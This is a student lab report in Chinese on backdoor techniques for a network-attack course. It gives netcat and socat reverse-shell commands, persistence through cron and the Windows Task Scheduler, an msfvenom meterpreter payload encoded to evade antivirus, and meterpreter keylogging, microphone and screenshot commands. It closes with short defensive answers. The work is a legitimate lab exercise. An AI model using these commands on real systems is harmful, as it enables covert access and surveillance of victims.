2017-2018-2 20155315《网络对抗技术》Exp2:后门原理与实践
实验目的
学习建立一个后门连接。
教程
实验内容
- 使用netcat获取主机操作Shell,cron启动。
- 使用socat获取主机操作Shell, 任务计划启动。
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
实验要求
- 使用nc实现win,mac,Linux间的后门连接。
- meterpreter的应用。
- MSF POST 模块的应用
实验步骤
(一)netcat获取主机操作Shell,cron启动。
- Cron是Linux下的定时任务,使用cron实现定时获取Windows主机shell
- 先测试看看Windows主机和Linux主机能不能互相获取shell
- nc需要的主要参数
-l :绑定并侦听传入的连接(一般用于服务端)
-p :侦听的端口
-e :接收到的命令通过command(例如/bin/bash)执行
- windows主机运行ncat.exe打开监听端口
ncat.exe -l -p 5315
- linux主机连接Windows主机的5315端口
nc 192.168.43.97 5315 -e /bin/sh
- 这时候Windows就获得了Linux的shell
- 关闭原来的终端,Linux主机运行打开监听端口,Windows主机连接监听端口。
ncat.exe -e cmd.exe 192.168.102.130 5315
- 运行结果:
- 测试完成,在Linux中使用crontab增加定时条件:
crontab -e
进入编辑模式- 选择
3. /usr/bin/vim.basic
- 在最后一行添加定时条件
30 * * * * /bin/netcat 192.168.43.97 5315 -e /bin/sh
- 每小时30分的时候自启动
(二)使用socat获取主机操作Shell, 任务计划启动。
- Windows下载socat,在任务计划程序中新建一个任务
- 将触发器设置为
当锁定任何用户的工作站时
- 将程序或脚本设置为下载的socat文件,参数中添加``tcp-listen:5315 exec:cmd.exe,pty,stderr```
- 在Windows中运行任务,在Linux中输入
socat -tcp:192.168.43.97:5315
就会连接到Windows主机。
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 将Windows下的一个可执行文件生成一个后门文件
msfvenom -p windows/meterpreter/reverse_tcp -x ./ysf1.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.102.130 LPORT=5315 -f exe > 20155315_backdoor.exe
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
- Linux使用nc将生成的文件发送给Windows
nc 192.168.102.1 5315 > 20155315_backdoor.exe
- Windows使用nc接收文件
ncat.exe -l 5315 > 20155315_backdoor.exe
- 在linux中运行
msfconsole
- 在msfconsole中设置参数
use exploit/multi/handler //进入handler模式
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.102.130
set LPORT 443
- Linux运行exploit,Windows打开后门软件,等一段时间就成功了。
(四)使用MSF 使用MSF meterpreter(或其他软件)生成获取目标主机音频、击键记录等内容,并尝试提权。
- 获取录音:
record_mic
- 获取截图:
screenshot
- 获取击键记录:
keyscan_start
显示击键记录:keyscan_dump
实验中遇到的问题
- 一开始测试nc的时候,网络连接出错,使用ifconfig发现是Linux的网络没有连上,只有一个网卡,查找网上的资料修改配置之后就可以连接网络了。
- 在获取摄像头的时候出现了错误,查找资料尚未解决。
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 从网上下载的来路不明的文件可能被篡改
- 通过中毒的移动设备进入计算机
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows可以使用任务计划
- linux可以使用cron定时触发
- Meterpreter有哪些给你映像深刻的功能?
- 截取键盘击键记录:本来以为获取密码等等的输入都要输到特殊的软件里,没想到直接使用命令就可以获取
- 录音:感觉很刺激又有点危险,在生活中要做好安全防御工作。
- 如何发现自己有系统有没有被安装后门?
- 使用杀毒软件定期进行杀毒
- 查看本机端口,查资料判断是否有被异常开放的端口。
实验总结
初步体验了一下酷炫的操作,一开始运行nc的时候就特别兴奋,一步步做下来感觉很棒,虽然对命令不是很熟悉,但是理解每一步的用处再将其实现就很有成就感。在提权和截取摄像头的时候都出现了错误,用了网上的方法之后出现Exploit aborted due to failure: not-vulnerable: Windows 10 (Build 16299). is not vulnerable.
表示win10可能不好攻击。本次实验用的后门还可以被安全软件发现,之后学习了免杀的病毒之后就更难被发现了,虽然很酷炫,但是生活中更要注意对本机安全的保护。